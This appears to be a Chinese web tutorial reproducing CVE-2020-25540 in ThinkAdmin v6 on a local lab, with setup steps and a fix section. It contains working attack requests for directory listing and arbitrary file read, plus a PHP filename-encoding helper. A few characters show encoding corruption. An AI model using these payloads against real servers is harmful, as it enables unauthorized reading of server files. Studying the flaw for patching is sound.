溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

發(fā)布時(shí)間:2021-12-28 17:25:57 來源:億速云 閱讀:192 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn),內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

0x00簡介

ThinkAdmin是一套基于ThinkPHP框架的通用后臺(tái)管理系統(tǒng),ThinkAdmin 非常適用快速二次開發(fā),默認(rèn)集成 微信開發(fā)組件,支持微信服務(wù)號(hào),微信支付,支付寶支付,阿里云OSS存儲(chǔ),七牛云存儲(chǔ),本地服務(wù)器存儲(chǔ)。,ThinkAdmin的權(quán)限管理基于標(biāo)準(zhǔn)RBAC簡化而來,去除了繁雜的節(jié)點(diǎn)管理,使得權(quán)限管理起來更簡單,具體包含節(jié)點(diǎn)管理、權(quán)限管理、菜單管理、用戶管理。

0x01漏洞概述

ThinkAdmin V6版本存在路徑遍歷漏洞。該漏洞主要是因?yàn)閍pi中存在危險(xiǎn)函數(shù),且未作任何限制。未作任何認(rèn)證可以直接調(diào)用api中此兩危險(xiǎn)函數(shù)。攻擊者可利用該漏洞通過請(qǐng)求編碼參數(shù)任意讀取遠(yuǎn)程服務(wù)器上的文件。

0x02影響版本

ThinkAdmin版本小于 ≤ 2020.08.03.01

0x03漏洞名稱及編號(hào)

CVE-2020-25540

ThinkAdmin 目錄遍歷/文件讀取漏洞

0x04環(huán)境搭建

phpstudy2018+ThinkAdmin v6.0

Composer命令

1)安裝Composer命令,phpstudy中PHP設(shè)置成7.1或以上版本,并把對(duì)應(yīng)的文件夾放入環(huán)境變量path中

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

2)在phpstudy服務(wù)器中打開php.ini文件,找到extension=php_openssl.dll前面的分號(hào)去掉,意思是打開ssl擴(kuò)展,目的是為了能在cmd命令中能進(jìn)行訪問

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

3)安裝composer.phar,找到下載內(nèi)容的地方,去下載當(dāng)前最新版本的composer.phar,雙擊安裝,不用勾選

下載地址https://getcomposer.org/Composer-Setup.exe

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

4)配置環(huán)境變量后自動(dòng)選擇了

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

然后一直下一步,安裝完成

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

5)安裝完成后在cmd命令行輸入composer查看是否安裝成功

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

6)設(shè)置阿里云 Composer 代理

由于國內(nèi)訪問Composer比較慢,建議設(shè)置阿里云Composer鏡像,運(yùn)行如下命令設(shè)置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

7)搜索下載ThinkAdminV6的漏洞版本到本地

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

8)進(jìn)入ThinkAdmin目錄進(jìn)行安裝

composer install

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

9)然后進(jìn)config/database.php目錄下修改配置文件,需要?jiǎng)?chuàng)建一個(gè)數(shù)據(jù)庫

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

10)php進(jìn)行運(yùn)行 php think run

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

http://ip:8000打開頁面

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

0x05漏洞復(fù)現(xiàn)

1.目錄遍歷

1.1 使用burp抓取首頁的包,發(fā)送到Repeater模塊構(gòu)造數(shù)據(jù)包獲取目錄

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

1.2 在Repeater模塊中把GET修改成POST,url修改成/admin.html?s=admin/api.Update/node,在下面輸入rules=%5b%22%2f%22%5d //編碼為url編碼 解碼為["/"]

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

1.3點(diǎn)擊”Send”發(fā)送,可以看到返回包中帶有目錄列表了

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

注:要是沒有返回列表可修改payload中的路徑,然后使用url編碼即可

2. 任意文件讀取

2.1 我們?cè)诟夸浵聞?chuàng)建文件flag.txt,內(nèi)容為flag{s4d6f54s}

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

2.2 在使用加密函數(shù)對(duì)flag.txt進(jìn)行加密,使用php運(yùn)行加密函數(shù)得到2u302p2v1a383c38文件名

<?phpfunction encode($content){list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);return $chars;}$content="flag.txt";echo encode($content);?>

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

2.3 訪問下面鏈接即可讀取到flag.txt(讀其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/2u302p2v1a383c38

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

2.4 復(fù)制后面使用base64加密的一段字符串,解碼出來就是flag.txt里的內(nèi)容

如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)

0x06修復(fù)方式

1.升級(jí)到2020.08.03.01之后的版本

2.使用官方的臨時(shí)修復(fù)方案

https://github.com/zoujingli/ThinkAdmin/issues/244

關(guān)于如何實(shí)現(xiàn)ThinkAdmin的漏洞復(fù)現(xiàn)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI